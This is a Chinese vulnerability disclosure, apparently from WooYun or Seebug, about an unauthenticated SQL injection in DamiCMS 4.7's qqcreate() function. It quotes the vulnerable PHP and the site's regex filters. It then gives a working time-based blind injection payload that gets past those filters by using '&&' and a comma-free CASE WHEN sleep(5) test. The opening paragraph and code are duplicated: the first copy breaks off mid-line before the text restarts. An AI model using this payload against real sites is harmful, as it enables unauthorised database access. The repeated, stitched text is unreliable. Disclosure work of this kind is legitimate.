### 简要描述: 大米CMS最新版4.7,某处绕过防御SQL盲注 ### 详细说明: 大米CMS最新版4.7,2014-12-12更新 文件/Web/Lib/Action/MemberAction.class.php: ``` //创建帐号 function qqcreate(){ $data = array_map('strval',$_POST); $data = array_map('remove_xss',$data); if($data['realname']=='' || $data['qid']==''){$this->error('参数错误!');exit();} $t = M('member')->where("username='".$data['realname']."'")->find(); if(!$t){ $data['username'] = $data['realname']; }else{ $data['username'] = (string)time(); } $data['userpwd'] = md5(time().rand(0,9999)); $uid = M('member')->add($data); $_SESSION['dami_uid'] = $uid; $_SESSION['dami_username'] = $data['username']; $_SESSION['dami_usericon'] = $data['icon']; if(!empty($_REQUEST['lasturl'])){ $this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl']))); }else{ $this->assign('jumpUrl',U('Member/main')); } $this->success('绑定成功,正在登陆~'); } ``` 注意这里: ``` $t = M('member')->where("username='".$data['realname']."'")->find(); ``` $data =...
### 简要描述: 大米CMS最新版4.7,某处绕过防御SQL盲注 ### 详细说明: 大米CMS最新版4.7,2014-12-12更新 文件/Web/Lib/Action/MemberAction.class.php: ``` //创建帐号 function qqcreate(){ $data = array_map('strval',$_POST); $data = array_map('remove_xss',$data); if($data['realname']=='' || $data['qid']==''){$this->error('参数错误!');exit();} $t = M('member')->where("username='".$data['realname']."'")->find(); if(!$t){ $data['username'] = $data['realname']; }else{ $data['username'] = (string)time(); } $data['userpwd'] = md5(time().rand(0,9999)); $uid = M('member')->add($data); $_SESSION['dami_uid'] = $uid; $_SESSION['dami_username'] = $data['username']; $_SESSION['dami_usericon'] = $data['icon']; if(!empty($_REQUEST['lasturl'])){ $this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl']))); }else{ $this->assign('jumpUrl',U('Member/main')); } $this->success('绑定成功,正在登陆~'); } ``` 注意这里: ``` $t = M('member')->where("username='".$data['realname']."'")->find(); ``` $data = array_map('strval',$_POST);,然后将$data['realname']就直接带入where中 而在where中,字符串是不进行处理的,导致sql注入 但是全局有php_safe.php进行防御 ``` $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; ``` 而且经测试,不能使用逗号 这里我们可以简单绕过且不使用逗号进行盲注 ### 漏洞证明: 使用不带逗号的语句,使用&&绕过and的检测: ``` realname=222222' %26%26 CASE WHEN(mid((user()) from 1 for 1)=char(114)) THEN sleep(5) ELSE (0) END%23 ``` 无需登录,发送请求: [<img src="https://images.seebug.org/upload/201412/201706332f920a3e5e970ec85c8e8ec6de5d8865.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/201706332f920a3e5e970ec85c8e8ec6de5d8865.png) 这里会延迟5秒返回,说明注入成功 看看sql执行记录: [<img src="https://images.seebug.org/upload/201412/2017070399677f78768091866bc651e74936a958.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/2017070399677f78768091866bc651e74936a958.png) 具有数据的注入可使用如下漏洞的脚本: [WooYun: 大米CMS某处SQL盲注3绕过补丁及防御](http://www.wooyun.org/bugs/wooyun-2014-081842)